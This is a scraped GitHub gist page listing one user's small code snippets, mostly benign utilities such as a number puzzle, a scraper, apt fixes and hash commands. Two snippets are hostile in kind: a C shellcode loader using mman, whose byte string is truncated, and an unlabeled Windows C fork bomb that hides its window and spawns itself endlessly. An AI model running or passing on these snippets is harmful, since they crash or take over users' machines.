Skip to content

Instantly share code, notes, and snippets.

@erayarslan
erayarslan / arm.py
Created November 30, 2012 01:05
Armstrong Numbers // range 1-1000
for i in range(1, 1000):
t = i
u = len(str(i))
x = 0
while u != 0 :
b = i/pow(10,u-1)
i = i%pow(10,u-1)
u=u-1
x = x + pow(b,3)
i = t
@erayarslan
erayarslan / koyne.txt
Created December 5, 2012 04:44
Check out Koyne on foursquare
Check out Koyne on @foursquare: http://4sq.com/RCEI3F
@erayarslan
erayarslan / ssTopic.py
Created January 14, 2014 06:19
sozluksau.com Topic Snippet Code
# author : guguluk
# libs / for fails follow easy_install command
import urllib2
from lxml import etree
# biggest nick id
nickId = -1
# nick dict
#include <stdio.h>
#define nDigit 10
int nArray[nDigit];
int prime=1;
int isPrime(int number)
{
int i;
@erayarslan
erayarslan / cb_fix.sh
Created July 17, 2014 10:35
CrunchBang 9B7C8627EDFD12C1
sudo apt-get clean
cd /var/lib/apt
sudo mv lists lists.old
sudo mkdir -p lists/partial
sudo apt-get clean
sudo apt-get update
@erayarslan
erayarslan / shellcode_with_mman.c
Created July 17, 2014 10:36
Run Your Shellcode with mman on Linux
// ( segmentation fault – core dumped problem solver )
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*shellcode)();
char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
#!/usr/bin/env python
#coding: utf8
import os
if os.name=="posix":
os.system("clear")
if os.name in ("nt","dos","ce"):
os.system("cls")
class colors:
head = '\033[95m'
@erayarslan
erayarslan / hash_gen.sh
Created July 17, 2014 10:37
linux console hash gen
echo -n "text" | md5sum
echo -n "text" | sha512sum
echo -n "text" | sha256sum
echo -n "text" | sha1sum
echo -n "text" | base64
#include <windows.h>
#define hide ShowWindow(GetConsoleWindow(),SW_HIDE);
#define fork while(0x01) { WinExec(argv[0],SW_HIDE); }
void main(int argc, char* argv[]) { hide;fork;}
@erayarslan
erayarslan / fetch_url.ps1
Created July 17, 2014 10:42
Fetch URL Content
$web = New-Object System.Net.WebClient
$icerik = $web.DownloadString("http://www.enderunix.org/docs/bof.txt")
$icerik